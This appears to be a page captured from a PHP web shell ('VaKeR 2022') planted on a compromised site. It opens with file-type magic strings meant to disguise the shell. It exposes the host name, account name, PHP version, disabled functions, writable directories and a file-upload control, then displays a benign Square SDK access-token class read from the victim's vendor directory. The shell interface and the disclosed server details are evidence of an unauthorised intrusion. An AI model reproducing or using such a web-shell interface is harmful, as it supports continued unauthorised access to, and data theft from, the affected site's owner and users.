%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/vendor/square/square/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/vendor/square/square/src/AccessTokenManager.php
<?php

declare(strict_types=1);

namespace Square;

use Square\Http\HttpRequest;

/**
 * Utility class for authorization and token management.
 */
class AccessTokenManager implements AuthManagerInterface, AccessTokenCredentials
{
    private $accessToken;

    /**
     * Returns an instance of this class.
     *
     * @param string|null $accessToken The OAuth 2.0 Access Token to use for API requests.
     */
    public function __construct(?string $accessToken)
    {
        $this->accessToken = $accessToken;
    }

    /**
     * String value for accessToken.
     */
    public function getAccessToken(): ?string
    {
        return $this->accessToken;
    }

    /**
     * Checks if provided credentials match with existing ones.
     *
     * @param string|null $accessToken The OAuth 2.0 Access Token to use for API requests.
     */
    public function equals(?string $accessToken): bool
    {
        return $accessToken == $this->getAccessToken();
    }

    /**
     * Adds authentication to the given HttpRequest.
     */
    public function apply(HttpRequest $httpRequest)
    {
        $httpRequest->addHeader('Authorization', 'Bearer ' . $this->accessToken);
    }
}

VaKeR 2022